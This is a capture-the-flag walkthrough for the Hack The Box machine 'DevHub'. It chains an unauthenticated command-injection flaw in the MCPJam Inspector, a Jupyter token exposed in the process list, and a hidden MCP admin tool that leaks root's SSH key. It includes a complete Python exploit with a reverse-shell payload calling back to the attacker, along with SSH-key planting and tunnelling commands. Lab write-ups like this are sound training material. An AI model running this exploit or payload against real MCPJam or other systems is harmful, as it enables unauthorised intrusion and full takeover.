Htb Devhub Walkthrough

Machine Info

Field Details
Name DevHub
OS Linux (Ubuntu 22.04.5)
Difficulty Medium

Enumeration

Nmap Scan

nmap -sC -sV -p- 10.129.59.202
Port Service
22 SSH
80 HTTP (nginx)
6274 Node.js (MCPJam Inspector)

Port 6274 - MCPJam Inspector

Port 6274 runs @mcpjam/[email protected], a Node.js implementation of the Model Context Protocol. A quick search turns up CVE-2026-23744 — The inspector binds to 0.0.0.0 by default and the /api/mcp/connect endpoint takes command and args from the request body with zero validation, passing them straight to a child process. No auth required. Patched in 1.4.3, but this box is running 1.4.2.


Initial Foothold - mcp-dev

Exploitation

Poking at the MCPJam Inspector API, there’s a /api/mcp/connect endpoint that accepts a serverConfig object. The idea is that you’re telling it how to spawn an MCP server - but there’s no validation on the command. So we just… give it a reverse shell.

Set up a listener:

nc -lvnp 4444

Then fire the exploit:

import requests
import time

target = "http://10.129.59.202:6274"
ip = "10.10.16.157"  # your HTB tun0 IP - change this to match yours
port = "4444"

url = f'{target}/api/mcp/connect'
data = {
    "serverConfig": {
        "command": "python3",
        "args": [
            "-c",
            f"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{ip}',{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"
        ],
        "env": {}
    },
    "serverId": "pwned"
}

print("[*] Sending reverse shell payload...")
response = requests.post(url, json=data, verify=False)
print(f"[*] Status: {response.status_code}")
print(f"[*] Response: {response.text}")
print("[*] Check your listener - press Ctrl+C to exit")

try:
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    print("\n[*] Exiting...")

Shell lands as mcp-dev.

mcp-dev@devhub:~$

Capabilities Check

getcap -r / 2>/dev/null

Checked for any binaries with elevated capabilities - nothing came back. Moving on.

What’s Running?

Now that we’re on the box, ps aux is the next thing to check. The full process list is visible across all users, and there are two interesting entries:

analyst  1078  jupyter-lab --ip=127.0.0.1 --port=8888
                  --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
                  --notebook-dir=/home/analyst/notebooks

root     1084  /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

Two things worth noting here - sit with them for a moment before reading on.

The Jupyter token is sitting in plain text in the process arguments. And root is running something out of analyst’s home directory. Both of those are going to matter.

Getting SSH Access for Tunneling

Jupyter is bound to 127.0.0.1:8888 - not reachable directly. We need an SSH tunnel, which means getting SSH access as mcp-dev first. No .ssh directory exists yet, so we create one and drop in our public key:

mkdir -p ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@machine" >> ~/.ssh/authorized_keys # use your public id here.
chmod 600 ~/.ssh/authorized_keys

Then from the attacker machine, forward the port:

ssh -L 8888:127.0.0.1:8888 [email protected]

Lateral Movement - analyst

Jupyter Lab

With the tunnel up, open http://localhost:8888 in a browser. It asks for a token or a password - we already have the token from ps aux:

a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

We’re in. Open a terminal from within Jupyter Lab:

analyst@devhub:~$ whoami
analyst

User flag is in the home dir.

Reading the OPSMCP Server

Remember that root process running server.py out of analyst’s directory? The file is readable:

cat /opt/opsmcp/server.py

Reading through it reveals:

  • An API key hardcoded in the source
  • A /tools/list endpoint that only returns some tools
  • A /tools/call endpoint that accepts all tools - including ones not listed

The server is on 127.0.0.1:5000.


Privilege Escalation - root

Mapping the API

curl -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" http://127.0.0.1:5000/
{
  "endpoints": ["/tools/list", "/tools/call", "/health"],
  "server": "OPSMCP",
  "status": "operational"
}
curl -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" http://127.0.0.1:5000/tools/list

Four tools come back. But from reading server.py, we know there’s a fifth one that isn’t listed - ops._admin_dump. It takes a target argument and a confirm boolean.

Calling the Hidden Tool

The exact parameter names matter here - name and arguments.

curl -X POST \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' \
  http://127.0.0.1:5000/tools/call
{
  "target": "ssh_keys",
  "root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\n...",
  "note": "Emergency recovery key dump"
}

Root Shell

echo "-----BEGIN OPENSSH PRIVATE KEY-----..." > root_key
chmod 600 root_key
ssh -i root_key [email protected]
root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)

The Chain

MCPJam RCE (port 6274)
    
mcp-dev
    
Jupyter token in ps aux  SSH tunnel  Jupyter web interface
    
analyst
    
OPSMCP API key in server.py  hidden ops._admin_dump tool
    
Root SSH private key
    
root
Support me on Ko-fi
Zylonic — technology, explained clearly.
Site by Kayz